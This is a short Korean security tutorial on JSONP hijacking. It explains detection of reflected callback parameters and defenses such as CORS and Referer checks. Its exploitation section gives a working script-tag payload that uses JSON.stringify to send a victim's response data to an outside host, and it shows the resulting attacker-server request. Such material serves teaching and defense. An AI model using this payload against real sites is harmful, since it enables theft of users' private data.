JSONP Hijacking

Introduction

JSONP Hijacking은 민감 정보를 처리하는 페이지가 JSONP를 지원하는 경우 공격자가 쉽게 정보를 탈취할 수 있는 공격 방법을 의미합니다.

JSONP

JSONP는 CORS 정책으로 SOP에 예외를 두고 통신하기 어려운 서비스에서 택하는 방법으로 Reseponse 데이터 내 callback으로 사용할 함수를 미리 명시하여 <script src=''> 로 데이터를 읽을 수 있도록 지원하는 방법입니다.

Request

GET /user/info?callback=func1 HTTP/1.1

Response

func1({"data":"this_is_user_info_data"})

Offensive techniques

Detect

jsonp를 명시적으로 사용하고 있는 페이지는 바로 식별이 가능하며, 일반 페이지에서도 서비스 코드나 설정에 따라서 callback, jsonp 등의 function이 response에 반영될 수 있습니다.

[ Request ]
GET /user/info?jsonp=check HTTP/1.1

[ Response ]
HTTP/1.1 200 OK

check{
	"data":"data"
}

이러한 경우 공격자가 response 코드를 제어할 수 있어서 본인이 callback 받을 함수를 만들고 정보를 리턴받을 수 있습니다.

[ Request ]
GET /user/info?jsonp=check= HTTP/1.1

[ Reponse ]
HTTP/1.1 200 OK

check={
	"data":"data"
}
// 공격자의 callback 페이지
console.log(JSON.stringify(check))

Exploitation

보통 JSONP 페이지는 JSON 포맷의 Reseponse를 사용하기 때문에 JSON.stringify() 함수는 데이터를 탈취하기 위한 아주 좋은 함수가 됩니다. JSON.stringify() 는 JSON 데이터를 String으로 변환하는 함수인데, 이를 이용해서 Response의 JSON 데이터 전문을 파싱하지 않고 바로 얻어올 수 있습니다.

<script src="target.domain.com/getData?callback=document.location.href='https://www.hahwul.com?'+JSON.stringify"></script>
document.location.href='https://www.hahwul.com?'+JSON.stringify({"name":"data~~"})

Attacker Server

GET /?{\"name\":\"data~~~~\"}
Host: www.hahwul.com

Defensive techniques

기본적으로 JSONP 자체가 안전한 구조는 아니라서 가급적 SOP를 준수할 수 있도록 CORS 설정을 통해 통신해야합니다. 다만 서비스 특성 상 JSONP를 사용해야하는 경우 가급적 중요한 정보를 최대한 다루지 않는 것이 좋으며, Referer 헤더 등으로 요청이 발생한 구간을 검증하는 것이 좋습니다.

(물론 Referer 검증할꺼면 CORS로 구현해서 SOP를 준수하는게 더 좋죠)

References

  • https://www.hahwul.com/2019/07/28/json-hijacking-with-script-src/